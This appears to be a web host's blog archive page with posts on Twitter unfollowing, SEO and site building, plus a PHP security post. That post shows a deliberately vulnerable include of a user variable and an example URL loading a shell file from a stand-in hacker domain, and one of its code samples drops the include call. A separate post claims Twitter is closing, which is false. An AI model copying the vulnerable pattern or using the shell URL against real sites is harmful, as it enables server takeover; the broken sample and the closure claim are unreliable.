Jul

How To Bulk Unfollow On Twitter in Minutes

Published by Laurence (aka NexDog) in Web Development.

I haven’t “tweeted” for a long time. I joined Twitter on the general bandwagon last year, downloaded and installed TweetDeck – and pretty much forgot about it. I did turn on Auto-Follow via SocialOomph though. So a year later I have 3,000 followers and maybe 50 are HostNexus clients and people I know. So 2,950 people have followed me for the sole reason of spamming me with links to their sites. They don’t care what I say because, well, I say very little. If I’m ever going to really use Twitter I need to follow only those I have a general interest in following and that is people I choose to follow and any past, present or prospective clients of HostNexus.

So today I went on a mission to purge my Twitter account.

As most people in Twitterdom know, there are thousands of apps that help you manage your Twitter account, so I thought that mass unfollowing on Twitter was going to be pretty simple. I tried several tools but all either had no Bulk Unfollow option or no Select All option. I started hitting Unfollow on people on Twitter Karma but that got real old after about 100 clicks. I then start hitting checkboxes on Tweepi and Untweeps but another 150 clicks later my right index finger started to cramp up in a death grip from hell. But both Tweepi and Untweeps do not list all your followers so it was kind of pointless anyhow. I then found ManageFlitter which listed all your followers in pages of 100 with checkboxes, but of course no Select All option.

I did some digging and found out that Twitter had put their foot down on Mass Unfollowing in April of this year (2010). All applications either had to remove Bulk Unfollow options or the Select All option to continue to operate within Twitter’s update TOS. Pretty ridiculous. I can understand enforcing a Bulk Unfollow option but telling developers to remove a “Select All” option? Very weird. But it got me thinking. The Select All thing is just a JavaScript call and happens in your browser so surely there should be a nifty little FireFox plugin that allows me to Select All?
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34 Comments

10

Jun

21

PHP Security and YOU – Including files the right way

Published by Laurence (aka NexDog) in Web Development.

As a web host we fight the battle against hackers and bad code on a daily basis. So HostNexus is looking to encourage clients to use file inclusion within PHP in a more security conscious and safe manner.

Including files with PHP is a common practice and most usage comes in 2 forms. These are including internal files from your own domain and including files from remote (external) sources. This looks something like:

Internal:

< ?php
   include("http://www.myowndomain.com/something.txt");
?>

External:

< ?php
   include("http://www.externaldomain.com/something.txt");
?>

Both are valid syntax in the PHP world but there are two main problems we see on the servers. Sometimes when you include a file using the the URL of your local domain you can cause a PHP loop that initiates endless HTTP requests which causes server load issues and even a server crash due to the load. If you want to include files from your local domain you just need to use the server path instead:

< ?php
   ('/home/httpd/vhosts/myowndomain.com/httpdocs/something.txt');
?>

And now onto using include() for calling external files:

< ?php
   include("http://www.externaldomain.com/something.txt");
?>

The main problem with include() is that runs everything through the PHP parser and evaluates code. The main problem comes from setting a variable for include() which can be easily exploited. Here is an example of code in an index.php:

< ?php
    echo "<html>\n";
    echo "  <body>\n";
    include("$go");
    echo "  </body>\n";
    echo "\n";
?>

The $go variable above is easily exploited like:

http://myowndomain.com/index.php?go=http://www.hackerdomain.com/shell.txt

The hacker can now execute commands on your files, installing phishing sites, sending spam and stealing data.

If you want to include files from remote domains use PHP’s readfile() function instead:

http://www.php.net/manual/en/function.readfile.php

While not 100% secure it still provides more protection as readfile() simply outputs data to a browser rather than parsing everything as PHP.

We’d love to enforce the two practices above but we also understand not everyone is happy modifying code. However, if you know you use includes and have even a simple understanding of these fuctions then please do revisit your code and help yourself to secure your data and server.

Laurence

Tags: php, security | 2 Comments

10

Apr

14

How To Get A Professional Website Online Within One Week, For Less Than $199, And No Design Experience

Published by Laurence (aka NexDog) in Web Development.

The main hurdles most people face when thinking about getting a decent website up is that it is too expensive and/or requires certain nerdy technical skills such as graphic design or some kind of coding skills. And quotes from web design firms of $500 to $50,000 definitely serve to discourage many from developing an online corporate presence or even putting up a personal website.

Ten or even five years ago putting up a website was expensive and took time. But times have changed and time, money and skills (or lack thereof) are no longer obstacles would-be webmasters have to deal with. If you’ve ever thought about getting a nice website online but have always dreaded the task, here are my 7 Steps To Get Online.

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1 Comment

09

Apr

6

SEO Case Study: HostNexus

Published by Laurence (aka NexDog) in Web Development.

This is part 4 in the Search Engine Strategy Series where I am documenting my own journey in SEO and the effects it is having on HostNexus. For a table of contents on this series please see this first post

There is too much “do what I say and not what I do” on the internet so to prove I am practising what I preach here is a little case study. I’m detailing keyword terms I’m targetting, where we stood at the beginning and will update regularly (maybe once a month) to see how we are getting on.

Few things to point out though: Read the rest of this entry »

8 Comments

09

Mar

25

Keyword Research – So Now What?

Published by Laurence (aka NexDog) in Web Development.

This is part 3 in the Search Engine Strategy Series where I am documenting my own journey in SEO and the effects it is having on HostNexus. For a table of contents on this series please see this first post

So you now have your Keyword list. Before you start on the next steps in your SEO Strategy you need to work out if the keywords are attainable. There is no point optimizing your site your site for a keyword in an extremely competitive niche where all the top rankers are large, authoritive sites with a huge amount of backlinks. Later on in the series I’ll be giving you tips on how to get decent links from over 500 sites so also take that into account if you are going to follow this course through till the end. And if all goes to plan those 500 or so links will produce a lot more links.
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5 Comments

09

Mar

18

Twitter Loses Funding, Announces Closure

Published by Laurence (aka NexDog) in Web Development.

Twitter announced today that it was unable secure investment in its latest round of funding and that it will close within 6 weeks if a buyer isn’t found.
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13 Comments

09

Mar

16

Keyword Research – a necessary evil

Published by Laurence (aka NexDog) in Web Development.

This is part 2 in the Search Engine Strategy Series where I am documenting my own journey in SEO and the effects it is having on HostNexus. For a table of contents on this series please see this first post

SEO is generally pretty boring. The fun part is watching the results of your efforts. And the first step in SEO, Keyword Research, makes my eyes bleed. It kills me so much that I even had this articles written out in Word and it still took a week to simply copy and paste, upload a few images, clean it up a bit and paste.

BUT, unfortunately it is very necessary and is the foundation of your SEO so it can’t be ignored or done half-heartedly. You are going to have to spend time on it and maybe money but once it’s done, it’s done (for a while anyway). Right, onwards…. Read the rest of this entry »

Tags: keyword research, Wordtracker | 5 Comments

09

Mar

10

SEO STRATEGY SERIES: 1 – Introduction

Published by Laurence (aka NexDog) in Web Development.

seo_outline

If you make money online then my guess is you’ve realized that to get significant, long lasting traffic you need to rank well in the search engines and in particular, Google. You know you need to optimise your site(s) for the search engines and you might have fiddled around here and there but the whole SEO thing might be a bit daunting. Can you do it yourself? Should you hire an SEO firm to help you? These are questions I asked myself last year and you might be asking yourself the same things. You might be really busy and the extra work is simply not welcome. But email a few reputable SEO companies and see their quotes – I guarantee it will give you some motivation to do it yourself. Read the rest of this entry »

Tags: SEO Strategy | 10 Comments

09

Mar

8

Get a Gravatar

Published by Laurence (aka NexDog) in Web Development.

If you’re a WordPress user then Gravatars will be nothing new to you. For the uninitiated a Gravatar (Globally Recognised Avatar) is an avatar that will follow you around the net as you comment on WordPress blogs (assuming the blogs have Gravatars enabled).

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Tags: Gravatar | 1 Comment

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Categories

How To Bulk Unfollow On Twitter in Minutes

PHP Security and YOU – Including files the right way

How To Get A Professional Website Online Within One Week, For Less Than $199, And No Design Experience

SEO Case Study: HostNexus

Keyword Research – So Now What?

Twitter Loses Funding, Announces Closure

Keyword Research – a necessary evil

SEO STRATEGY SERIES: 1 – Introduction

Get a Gravatar